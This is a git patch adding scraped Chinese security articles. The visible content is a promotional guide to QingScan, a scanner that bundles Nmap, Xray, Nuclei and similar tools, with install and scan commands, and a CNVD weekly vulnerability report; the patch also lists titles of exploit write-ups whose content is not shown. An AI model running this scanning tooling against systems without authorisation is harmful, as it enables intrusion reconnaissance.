From bb52f9be8db41aebde3671022e204ea450ad932c Mon Sep 17 00:00:00 2001 From: test Date: Tue, 3 Feb 2026 02:10:20 +0000 Subject: [PATCH] =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E9=A2=84=E8=AD=A6=20|=20Adva?= =?UTF-8?q?ntech=20SQL=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?=E9=80=83=E7=A6=BB=E6=B2=99=E7=AE=B1=EF=BC=9ACVE-2026-22709=20?= =?UTF-8?q?=E6=B7=B1=E5=BA=A6=E5=A4=8D=E7=9B=98=EF=BC=8C=E4=B8=BA=E4=BB=80?= =?UTF-8?q?=E4=B9=88=20vm2=20=E6=80=BB=E6=98=AF=E9=98=B2=E4=B8=8D=E4=BD=8F?= =?UTF-8?q?=EF=BC=9F=E3=80=81CNVD=E6=BC=8F=E6=B4=9E=E5=91=A8=E6=8A=A52026?= =?UTF-8?q?=E5=B9=B4=E7=AC=AC4=E6=9C=9F=E3=80=81=E6=97=A0=E9=9C=80?= =?UTF-8?q?=E6=89=8B=E5=8A=A8=E6=9E=84=E5=8C=85=EF=BC=81=E6=99=BA=E8=83=BD?= =?UTF-8?q?=E5=A1=AB=E5=85=85=E5=8F=82=E6=95=B0=20+=20=E8=87=AA=E5=8A=A8?= =?UTF-8?q?=E5=8C=96=E8=AF=B7=E6=B1=82=EF=BC=9ASwagger=20API=E8=87=AA?= =?UTF-8?q?=E5=8A=A8=E5=8C=96=E6=BC=8F=E6=B4=9E=E6=A3=80=E6=B5=8B=E5=B7=A5?= =?UTF-8?q?=E5=85=B7|ApiHunter=E3=80=81=E6=BC=8F=E6=B4=9E=E9=A2=84?= =?UTF-8?q?=E8=AD=A6=20|=20=E5=AD=9A=E7=9B=9F=E4=BA=91SQL=E6=B3=A8?= =?UTF-8?q?=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81=E7=AC=AC155=E7=AF=87?= =?UTF-8?q?=EF=BC=9AWeblogic=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E7=9A=84=E5=A4=9A=E7=A7=8D=E5=9B=9E=E6=98=BE=E6=96=B9?= =?UTF-8?q?=E6=B3=95=E6=80=BB=E7=BB=93=EF=BC=88=E4=B8=8A=E7=AF=87=EF=BC=89?= =?UTF-8?q?=E3=80=81Windows=20=E9=A9=B1=E5=8A=A8=E7=A8=8B=E5=BA=8F?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E3=80=81=E5=B8=86=E8=BD=AF=E6=8A=A5=E8=A1=A8?= =?UTF-8?q?=E6=8C=87=E7=BA=B9POC=E9=9B=86=E6=88=90=E3=80=815=20=E5=88=86?= =?UTF-8?q?=E9=92=9F=E5=85=A8=E8=87=AA=E5=8A=A8=E8=81=9A=E5=90=88=20Nmap+A?= =?UTF-8?q?WVS+Xray+Rad+Nuclei=20=E7=AD=89=2020+=20=E5=BC=95=E6=93=8E?= =?UTF-8?q?=EF=BC=8C=E4=B8=80=E9=94=AE=E5=AE=8C=E6=88=90=E8=B5=84=E4=BA=A7?= =?UTF-8?q?=E5=88=B0=E6=BC=8F=E6=B4=9E=E7=9A=84=E8=87=B4=E5=91=BD=E9=97=AD?= =?UTF-8?q?=E7=8E=AF=EF=BC=81=E3=80=81=E4=B8=BA=E4=BB=80=E4=B9=88=20JS?= =?UTF-8?q?=E2=88=95Python=20=E6=B2=99=E7=AE=B1=E8=BF=99=E4=B9=88=E9=9A=BE?= =?UTF-8?q?=E6=90=9E=EF=BC=9F=E4=BB=8E=20n8n=20=E7=9A=84=E4=B8=A4=E4=B8=AA?= =?UTF-8?q?=20RCE=20=E6=BC=8F=E6=B4=9E=E8=B0=88=E8=B5=B7=E3=80=81=E3=80=90?= =?UTF-8?q?=E5=B7=B2=E5=A4=8D=E7=8E=B0=E3=80=91Ivanti=20EPMM=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E5=91=BD=E4=BB=A4=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=EF=BC=88CVE-2026-1281&CVE-2026-1340=EF=BC=89=E3=80=81=E8=B5=8F?= =?UTF-8?q?=E9=87=91src=E6=8A=A5=E5=91=8A=E5=88=86=E4=BA=AB&&edu=E8=AF=81?= =?UTF-8?q?=E4=B9=A6=E7=AB=99=E6=BC=8F=E6=B4=9E=E5=88=86=E4=BA=AB=E3=80=81?= =?UTF-8?q?=E5=88=86=E4=BA=ABFastjson=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E5=8E=9F=E7=90=86+=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E5=A4=8D=E7=8E=B0+=E5=AE=9E=E6=88=98=E6=A1=88=E4=BE=8B+POC?= =?UTF-8?q?=E6=94=B6=E9=9B=86=E3=80=81=E4=BB=BB=E6=84=8F=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E7=9A=84=E5=8E=9F=E5=AD=90=E7=8B=A9=E7=8C=8E?= =?UTF-8?q?=EF=BC=9A=E4=BB=8E=E6=BC=8F=E6=B4=9E=E6=8C=96=E6=8E=98=E5=88=B0?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E6=B2=A6=E9=99=B7=E7=9A=84=E6=AD=A6=E5=99=A8?= =?UTF-8?q?=E5=8C=96=E5=B7=A5=E7=A8=8B=E3=80=81=E6=BC=8F=E6=B4=9E=E9=A2=84?= =?UTF-8?q?=E8=AD=A6=20|=20=E9=87=91=E5=92=8COA=20XXE=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81=E3=80=90=E6=9C=8D=E5=8A=A1=E7=AB=AF=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?-=E8=B7=AF=E5=BE=84=E9=81=8D=E5=8E=86-=E7=AC=AC=E4=B8=80?= =?UTF-8?q?=E7=AB=A0=E7=AC=AC=E4=B8=80=E8=8A=82=E3=80=91=E6=9C=8D=E5=8A=A1?= =?UTF-8?q?=E5=99=A8=E6=BC=8F=E6=B4=9E=E8=A7=A3=E6=9E=90=E7=AC=AC=E4=B8=80?= =?UTF-8?q?=E5=BC=B9=EF=BC=9A=E4=B8=80=E6=96=87=E8=AF=BB=E6=87=82=E8=B7=AF?= =?UTF-8?q?=E5=BE=84=E9=81=8D=E5=8E=86=E6=BC=8F=E6=B4=9E=E3=80=81=E9=A3=9E?= =?UTF-8?q?=E7=89=9B=E7=B3=BB=E7=BB=9F=EF=BC=88fnOS=EF=BC=89=E8=BF=9C?= =?UTF-8?q?=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E9=93=BE=EF=BC=9A?= =?UTF-8?q?=E8=AE=A4=E8=AF=81=E7=BB=95=E8=BF=87=E3=80=81=E4=B8=80=E9=94=AE?= =?UTF-8?q?Clawdbot=E6=BC=8F=E6=B4=9E=EF=BC=9A=E5=90=AF=E5=8A=A8=E6=81=B6?= =?UTF-8?q?=E6=84=8F=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E3=80=81=E5=B7=A5=E5=85=B7=E6=8E=A8=E8=8D=90?= =?UTF-8?q?=20|=20=E8=87=AA=E5=8A=A8=E6=A3=80=E6=B5=8BVue=E6=A1=86?= =?UTF-8?q?=E6=9E=B6=20=E7=BB=95=E8=BF=87Vue.js=20=E7=AB=99=E7=82=B9?= =?UTF-8?q?=E8=B7=AF=E7=94=B1=E5=AE=88=E5=8D=AB=20=E4=B8=80=E9=94=AE?= =?UTF-8?q?=E5=8F=91=E7=8E=B0=E9=9A=90=E8=97=8F=E8=B5=84=E4=BA=A7=E4=B8=8E?= =?UTF-8?q?=E6=9C=AA=E6=8E=88=E6=9D=83=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 21 +- ...完成资产到漏洞的致命闭环！.md | 54 + doc/2026-02/CNVD漏洞周报2026年第4期.md | 1154 +++++++++++++++++ doc/2026-02/Windows 驱动程序漏洞.md | 10 + ...漏洞（CVE-2026-1281&CVE-2026-1340）.md | 125 ++ ...一弹：一文读懂路径遍历漏洞.md | 92 ++ ...：启动恶意远程代码执行攻击.md | 80 ++ ...？从 n8n 的两个 RCE 漏洞谈起.md | 76 ++ ...挖掘到系统沦陷的武器化工程.md | 746 +++++++++++ ...理+漏洞复现+实战案例+POC收集.md | 1063 +++++++++++++++ ...键发现隐藏资产与未授权漏洞.md | 184 +++ doc/2026-02/帆软报表指纹POC集成.md | 39 + ...API自动化漏洞检测工具ApiHunter.md | 206 ++- ...漏洞预警 Advantech SQL注入漏洞.md | 53 + .../漏洞预警 孚盟云SQL注入漏洞.md | 6 +- .../漏洞预警 金和OA XXE漏洞.md | 6 +- ...的多种回显方法总结（上篇）.md | 3 +- ...c报告分享&&edu证书站漏洞分享.md | 228 ++++ ...盘，为什么 vm2 总是防不住？.md | 86 ++ ...）远程代码执行链：认证绕过.md | 127 ++ 20 files changed, 4218 insertions(+), 141 deletions(-) create mode 100644 doc/2026-02/5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！.md create mode 100644 doc/2026-02/CNVD漏洞周报2026年第4期.md create mode 100644 doc/2026-02/Windows 驱动程序漏洞.md create mode 100644 doc/2026-02/【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）.md create mode 100644 doc/2026-02/【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞.md create mode 100644 doc/2026-02/一键Clawdbot漏洞：启动恶意远程代码执行攻击.md create mode 100644 doc/2026-02/为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起.md create mode 100644 doc/2026-02/任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程.md create mode 100644 doc/2026-02/分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集.md create mode 100644 doc/2026-02/工具推荐 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞.md create mode 100644 doc/2026-02/帆软报表指纹POC集成.md create mode 100644 doc/2026-02/漏洞预警 Advantech SQL注入漏洞.md create mode 100644 doc/2026-02/赏金src报告分享&&edu证书站漏洞分享.md create mode 100644 doc/2026-02/逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？.md create mode 100644 doc/2026-02/飞牛系统（fnOS）远程代码执行链：认证绕过.md diff --git a/data.json b/data.json index 180a5ead..84c53ad8 100644 --- a/data.json +++ b/data.json @@ -17480,5 +17480,24 @@ "https://mp.weixin.qq.com/s/DURhQdhQnrQmri5-Tmrobg": "CISA紧急警告，Office、Linux内核等关键漏洞正被黑客利用", "https://mp.weixin.qq.com/s/Cl-q6CL-V5jKat7DzgWjLA": "【高危漏洞预警】Ivanti Endpoint Manager Mobile代码注入漏洞CVE-2026-1281∕CVE-2026-1340", "https://mp.weixin.qq.com/s/pAhC-DJgcTF3usj6qdQcaQ": "AI社交平台Moltbook曝严重安全漏洞", - "https://mp.weixin.qq.com/s/-APYvQBg6HSZi16rj8Z2bg": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter" + "https://mp.weixin.qq.com/s/-APYvQBg6HSZi16rj8Z2bg": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter", + "https://mp.weixin.qq.com/s/UUCNGrQ90V-O2d62XO6t9Q": "漏洞预警 | Advantech SQL注入漏洞", + "https://mp.weixin.qq.com/s/yeAzQ0-6f8E3Zz2McRvNBA": "逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？", + "https://mp.weixin.qq.com/s/h4y1yJ9WtYoW54R1t5yEIg": "CNVD漏洞周报2026年第4期", + "https://mp.weixin.qq.com/s/E5E1jHXxytPiLXHrRwkkjw": "无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter", + "https://mp.weixin.qq.com/s/WyIyO8UNkGU7e-N4GF3mAQ": "漏洞预警 | 孚盟云SQL注入漏洞", + "https://mp.weixin.qq.com/s/z67l_pnGp4P7RykbuunuRQ": "第155篇：Weblogic反序列化漏洞的多种回显方法总结（上篇）", + "https://mp.weixin.qq.com/s/UYXWBA98AZ_ihdDbBKSx7Q": "Windows 驱动程序漏洞", + "https://mp.weixin.qq.com/s/VKorlZqidUeIGXd5D06nqQ": "帆软报表指纹POC集成", + "https://mp.weixin.qq.com/s/64P2r10TzPHlfHKtCzI7gg": "5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！", + "https://mp.weixin.qq.com/s/2ttL4Kl0FGi5WC-k7tfOvg": "为什么 JS∕Python 沙箱这么难搞？从 n8n 的两个 RCE 漏洞谈起", + "https://mp.weixin.qq.com/s/0fpcTSvaDJWnZXdChnTGcw": "【已复现】Ivanti EPMM存在命令注入漏洞（CVE-2026-1281&CVE-2026-1340）", + "https://mp.weixin.qq.com/s/Xj2sdU-sqWvKVer-QMWoYg": "赏金src报告分享&&edu证书站漏洞分享", + "https://mp.weixin.qq.com/s/RB1vwJd06k0NCrIJY6gaPw": "分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集", + "https://mp.weixin.qq.com/s/aJfLGAPEwH2XOC69y9UUPA": "任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程", + "https://mp.weixin.qq.com/s/uZF-4szzPMPackVsn_A84g": "漏洞预警 | 金和OA XXE漏洞", + "https://mp.weixin.qq.com/s/bIjpwn2DdaY8HSJLQsFLwg": "【服务端漏洞-路径遍历-第一章第一节】服务器漏洞解析第一弹：一文读懂路径遍历漏洞", + "https://mp.weixin.qq.com/s/cZ1qRSxcA2kyYkIQjA_i4w": "飞牛系统（fnOS）远程代码执行链：认证绕过", + "https://mp.weixin.qq.com/s/gZuixfOZHgo7GVSMRxd3Bw": "一键Clawdbot漏洞：启动恶意远程代码执行攻击", + "https://mp.weixin.qq.com/s/7bAdr0D8OhCnEkZA48LsvA": "工具推荐 | 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞" } \ No newline at end of file diff --git a/doc/2026-02/5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！.md b/doc/2026-02/5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！.md new file mode 100644 index 00000000..f26cf26f --- /dev/null +++ b/doc/2026-02/5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！.md @@ -0,0 +1,54 @@ +# 5 分钟全自动聚合 Nmap+AWVS+Xray+Rad+Nuclei 等 20+ 引擎，一键完成资产到漏洞的致命闭环！ +菜狗 + 菜狗 只会看监控的实习生 2026-02-03 00:00 + +## 🚀 一句话卖点 + +一台 Ubuntu22.04 + 80 端口 = 开箱即用的漏洞挖掘工厂 无需 Docker，一条 PHP 命令即可批量安装/更新工具，支持 Web + CLI 双模式，适合攻防演练、SRC 挖掘、内网巡检全场景。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5mykHjfr4hyRJedaicv3pAWBvyVEBanjPtV791Fd0n3DbE6bkRkerZr7o2t6a5ibufpk8vlQUKZM7OQ/640?wx_fmt=png&from=appmsg "") +## 📊 核心能力 + +
阶段
内置引擎
输出
资产发现
Nmap、Masscan、Rad、Httpx
IP、端口、存活 URL
漏洞扫描
AWVS、Xray、Nuclei、Pocsuite
高危 POC、详细请求/响应
爬虫/目录
Rad、Dirsearch、Hakrawler
接口、JS、敏感文件
指纹识别
EHole、ObserverWard
CMS、框架、版本
结果聚合
MySQL + Web 控制台
统一列表、 severity 排序、报表导出
+ +![](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5mykHjfr4hyRJedaicv3pAWBVwIRt0YtThO43OEnM5okF1ycpscEmTo0ogmYlK5SOa4dxLGicEQ7zzw/640?wx_fmt=png&from=appmsg "") +## 🛠️ 5 分钟极速部署（Ubuntu22.04 一键脚本） +``` +# 1. 安装系统依赖apt update && apt install -y php php-{xml,gd,mysqli,dom,cli,zip,curl} unzip composer# 2. 获取代码git clone https://github.com/78778443/QingScan.gitcd QingScan/code && composer install# 3. 启动 Web 服务php think run -p 80                  # 默认 80 端口，浏览器访问 127.0.0.1# 4. 导入数据库（新建 qingscan 库并执行 deploy/qingscan.sql）# 5. 启动调度脚本（后台常驻）chmod +x script.sh && ./script.sh   # 自动拉起所有扫描器进程 +``` +## 🔧 扫描器批量安装（PHP 一键式） +``` +# 查看可安装列表php think install list# 一键全部（约 20+ 工具，含 Nmap、AWVS、Xray、Nuclei、Rad 等）php think install all# 按需安装php think install nmapphp think install awvsphp think install nuclei +``` +## 📺 使用流程（3 步走） +1. 添加目标 支持单 IP、CIDR、域名、URL 文件上传，可设置端口范围、扫描深度、POC 集合。 + +1. 一键扫描 平台自动分配任务队列 → 多引擎并发 → 实时进度条 → 漏洞数红点提醒。 + +1. 结果导出 支持 HTML / Excel / PDF 报告，含漏洞证明、修复建议、复现请求，渗透测试交付即用。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5mykHjfr4hyRJedaicv3pAWBOprZRcHf3RdtzuZIwPeicxFdWk3CC88fBPYEbIzVuvEIhPtyHSDfpCg/640?wx_fmt=png&from=appmsg "") +## 🌐 界面速览（Web 控制台） + +
功能
截图示意
添加目标
支持 IP/CIDR/域名/URL 文件
任务进度
实时进度条、耗时、漏洞计数
漏洞列表
按严重级排序，点击展开请求/响应
报表导出
一键生成 HTML/Excel，含修复建议
+## 📡 CLI 模式（脚本调用） +``` +# 单目标立即扫描php think scan --target https://example.com --poc all# 定时任务（crontab 示例）0 2 * * * cd /opt/QingScan/code && php think scan --target-file /tmp/ip.txt --poc high +``` +## ⚙️ 高级特性 +- 定时扫描：天/周/月周期，钉钉/飞书机器人推送结果 + +- 分布式节点：横向扩容扫描器，大规模资产并发 + +- POC 在线更新：每日同步 GitHub 最新 POC，0day 24h 内上线 + +- 权限分级：多用户角色，扫描与报告权限分离 + +## 回复QingScan获取 + +## 低价出售安全证书不限于cisp、pte等请Vme～建了一个项目群，想进群的请回复进群即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5mykHjfr4hyRJedaicv3pAWBUCsUMamCW1ENmOn0GJHMzwGjHaiac6gv6qrAibfFx5lWV8EUv6LzKabA/640?wx_fmt=png&from=appmsg "") +## + + diff --git a/doc/2026-02/CNVD漏洞周报2026年第4期.md b/doc/2026-02/CNVD漏洞周报2026年第4期.md new file mode 100644 index 00000000..fafc20df --- /dev/null +++ b/doc/2026-02/CNVD漏洞周报2026年第4期.md @@ -0,0 +1,1154 @@ +# CNVD漏洞周报2026年第4期 + 国家互联网应急中心CNCERT 2026-02-03 01:28 + +2 +0 +26年 +01月26日 +- +2 +0 +26 +年02月01日 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/pMINP9OQkbgJr2icsSWMt7iczrs9mBzqwA3aldfx2etwNRAwnXic5IJJBJv5SSbmmh9kZOvkL8ahR8kENATauAVhQ/640?wx_fmt=jpeg "") + +**本周漏洞态势研判情况** + + +本周信息安全漏洞威胁整体评价级别为 +中。 + +国家信息安全 +漏 +洞共享平台（ +以下简称CNVD）本周共收集、整理信息安全漏洞 +864个，其中高危漏洞483个、中危漏洞333个、低危漏洞48个。漏洞平均分值为6.76。本周收录的漏洞中，涉及0day漏洞662个（占77%），其中互联网上出现“Tenda AX1806堆栈溢出漏洞、Tenda AX1803堆栈溢出漏洞”等零日代码攻击漏洞。本周CNVD接到的涉及党政机关和企事业单位的漏洞总数4728个，与上周（2034个）环比增加132% +。 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHC9DeT9rKy0hoKgJlkxz1duaFklFJS3MO1s44lsbI6xicBXiaEqNO6lsYw/640?wx_fmt=png&from=appmsg "") + +‍ +图 +1 + +C +N +V +D +收 +录 +漏 +洞 +近 +1 +0 +周 +平 +均 +分 +值 +分 +布 +图 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCGN31dYCEzGYbIrYJicgxicXv7BFtBTwZzXIbDHpxA9eo9CqeKBE9SBtA/640?wx_fmt=png&from=appmsg "") + +图 +2 + +C +N +V +D  +0 +d +a +y +漏 +洞 +总 +数 +按 +周 +统 +计 + + + + +**本周漏洞事件处置情况** + +  + +本周， +CNVD向银行、保险、能源等重要行业单位通报漏洞事件 +3起，向基础电信企业通报漏洞事件3起，协调CNCERT各分中心验证和处置涉及地方重要部门漏洞事件2735起，协调教育行业应急组织验证和处置高校科研院所系统漏洞事件19起，向国家上级信息安全协调机构上报涉及部委门户、子站或直属单位信息系统漏洞事件21起 +。 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCTj4VpiaN0glMPT1BqyVnQ26aqGVMngOz6m3xcBcrMyib1At85ObhoiaWg/640?wx_fmt=png&from=appmsg "") + +图 +3 + +C +N +V +D +各 +行 +业 +漏 +洞 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCn6HFdmoRGVXYtticj8stozLugDHribnTm8Vh1l8ia9beaibupmq2yiajh4w/640?wx_fmt=png&from=appmsg "") + +图 +4 + +C +N +C +E +R +T +各 +分 +中 +心 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCnKB094dx3FBGibXOticCrRBbQa2mFu6wDB9fPkCG6mMWXvF550yAeVKQ/640?wx_fmt=png&from=appmsg "") + +图 +5 + +C +N +V +D +教 +育 +行 +业 +应 +急 +组 +织 +处 +置 +情 +况 +按 +周 +统 +计 + +此 +外 +， +C +N +V +D +通 +过 +已 +建 +立 +的 +联 +系 +机 +制 +或 +涉 +事 +单 +位 +公 +开 +联 +系 +渠 +道 +向 +以 +下 +单 +位 +通 +报 +了 +其 +信 +息 +系 +统 +或 +软 +硬 +件 +产 +品 +存 +在 +的 +漏 +洞 +， +具 +体 +处 +置 +单 +位 +情 +况 +如 +下 +所 +示 +： + +中科方德软件有限公司、郑州市金水区恒友摄影软件经营部、正泰集团股份有限公司、浙江宇视科技有限公司、浙江和达科技股份有限公司、友讯电子设备（上海）有限公司、用友网络科技股份有限公司、熊猫智慧水务有限公司、新天科技股份有限公司、新疆恒和久远信息技术有限公司、西安诺瓦星云科技股份有限公司、西安九佳易信息资讯有限公司、武汉深之度科技有限公司、武汉三佳医疗信息技术有限公司、武汉海昌信息技术有限公司、武汉风河智能科技有限公司、武汉达梦数据库有限公司、卫宁健康科技集团股份有限公司、天啸融通科技（北京）有限公司、台州哲商网络技术有限公司、四川迅睿云软件开发有限公司、神州数码控股有限公司、深圳市易宇通科技有限公司、深圳市万网博通科技有限公司、深圳市思迅软件股份有限公司、深圳市深科特信息技术有限公司、深圳市锐明技术股份有限公司、深圳市明源云科技有限公司、深圳市磊科实业有限公司、深圳市蓝凌软件股份有限公司、深圳市吉祥腾达科技有限公司、深圳市华世通科技有限公司、深圳市必联电子有限公司、深圳市昂捷信息技术股份有限公司、深圳市爱德数智科技股份有限公司、深圳勤杰软件有限公司、上海卓卓网络科技有限公司、上海肯特仪表股份有限公司、上海居亦科技发展有限公司、上海孚盟软件有限公司、上海德米萨信息科技有限公司、上海博达数据通信有限公司、上海艾泰科技有限公司、熵基科技股份有限公司、陕西益和信息技术开发有限责任公司、山东潍大软件有限公司、厦门天锐科技股份有限公司、厦门四信通信科技有限公司、厦门熵基科技有限公司、确信信息股份有限公司、青岛真情巴士科技有限公司、青岛三利中德美水设备有限公司、秦皇岛云软网络科技有限公司、麒麟软件有限公司、普联技术有限公司、南京科远智慧科技集团股份有限公司、南昌蓝智科技有限公司、迈拓仪表股份有限公司、迈普通信技术股份有限公司、理光（中国）投资有限公司、乐金电子（中国）有限公司、浪潮通信信息系统有限公司、京信通信技术（广州）有限公司、金恒科技（深圳）有限公司、湖南众合百易信息技术有限公司、杭州叙简科技股份有限公司、杭州格原信息技术有限公司、杭州八骏科技有限公司、广州思迈特软件有限公司、广州市保伦电子有限公司、谷云科技(广州)有限责任公司、馥鴻科技股份有限公司、福建引迈信息技术有限公司、帆软软件有限公司、东莞市同享软件科技有限公司、成都同飞科技有限责任公司、成都飞鱼星科技股份有限公司、畅捷通信息技术股份有限公司、北京中农信达信息技术有限公司、北京中控智慧科技发展有限公司、北京中科聚网信息技术有限公司、北京中成科信科技发展有限公司、北京中犇科技有限公司、北京致远互联软件股份有限公司、北京云易时代技术有限公司、北京用友数聚科技有限公司、北京亿赛通科技发展有限责任公司、北京星网锐捷网络技术有限公司、北京威努特技术有限公司、北京天顶星智能信息技术有限公司、北京硕人时代科技股份有限公司、北京山石网科信息技术有限公司、北京巧巧时代网络科技有限公司、北京派网软件有限公司、北京凝思软件股份有限公司、北京凯特伟业科技有限公司、北京金和网络股份有限公司、北京火绒网络科技有限公司、北京汉王智远科技有限公司、北京博瑞凯德信息技术有限公司、北京邦永科技有限公司和安科瑞电气股份有限公司 +。 + + +**本周漏洞报送情况统计** + +  + +本 +周 +报 +送 +情 +况 +如 +表 +1 +所 +示 +。 +其 +中 +， +新华三技术有限公司、深信服科技股份有限公司、北京启明星辰信息安全技术有限公司、北京神州绿盟科技有限公司、北京数字观星科技有限公司等单位报送公开收集的漏洞数量较多。江苏云天网络安全技术有限公司、河南东方云盾信息技术有限公司、成都久信信息技术股份有限公司、360漏洞研究院、交通运输部北海航海保障中心、山东港口科技集团烟台有限公司、广州纬安科技有限公司、天翼数字生活科技有限公司、江苏尊安科技有限公司、贵州多彩网安科技有限公司、北京网御星云信息技术有限公司、深圳昂楷科技有限公司、江苏力可信网络科技有限公司、中国联合网络通信有限公司深圳市分公司、国核自仪网络安全技术（上海）有限责任公司、北京卓识网安技术股份有限公司、陕西青山四纪信息技术有限公司、中国银联股份有限公司、成都华软技术工程有限公司、中国电信股份有限公司研究院、沈阳化工大学-辽宁省石油化工行业信息安全重点实验室、中国电子技术标准化研究院、中资网络信息安全科技有限公司、亚信科技（成都）有限公司及其他个人白帽子向CNVD提交了4728个以事件型漏洞为主的原创漏洞，其中包括斗象科技（漏洞盒子）、上海交大、和奇安信网神（补天平台）向CNVD共享的白帽子报送3910条原创漏洞信息 +。 + +表 +1 + +漏 +洞 +报 +送 +情 +况 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCEPxzkvbiajIvhib0ciaJey43GIGo5xibDFMODKhmJwVyibHnoWicPhl11lww/640?wx_fmt=png&from=appmsg "") + +**本周漏洞按类型和厂商统计** + +本周，CNVD收录了864个漏洞。WEB应用470个，应用程序166个，网络设备（交换机、路由器等网络端设备）142个，操作系统52个，安全产品17个，智能设备（物联网终端设备）10个，数据库7个。 + +表 +2 + +漏 +洞 +按 +影 +响 +类 +型 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCfpljrWVDgc4vYNmF9k0iaI0fO8b5Izt6xf0hu7LecTRUiac2pnDg8TvA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHCnC5HKsia3cBDwW8iaQEyt0YgAPibZjmru8QN0gEtUYqdDwIoncnHicWW2g/640?wx_fmt=png&from=appmsg "") + +图 +6 + +本 +周 +漏 +洞 +按 +影 +响 +类 +型 +分 +布 + +CNVD整理和发布的漏洞涉及 +北京金和网络股份有限公司、iccDEV、Tenda +等多家厂商的产品 +，部分漏洞数量按厂商统计如表3所示。 + +表 +3 + +漏 +洞 +产 +品 +涉 +及 +厂 +商 +分 +布 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/pMINP9OQkbgPteiboEBIk3kgqBf5wAhHC50S02bOqY13SRyOtSuwMwkbJgv35L9ju3gN9XefHZdxso2NfP6TROQ/640?wx_fmt=png&from=appmsg "") + +**本周行业漏洞收录情况** + + +本 +周 +， +CNVD收录了 +49个电信行业漏洞，43个移动互联网行业漏洞，15个工控行业漏洞（如下图所示）。其中，“Tenda FH1203 formSetClientState方法堆栈缓冲区溢出漏洞、D-Link DIR-823G Cookie参数缓冲区溢出漏洞 +”等漏洞的综合评级为“高危”。相关厂商已经发布了漏洞的修补程序，请参照CNVD相关行业漏洞库链接。 + +电 +信 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +t +e +l +e +c +o +m +. +c +n +v +d +. +o +r +g +. +c +n +/ + +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +m +i +. +c +n +v +d +. +o +r +g +. +c +n +/ + +工 +控 +系 +统 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +i +c +s +. +c +n +v +d +. +o +r +g +. +c +n +/ + 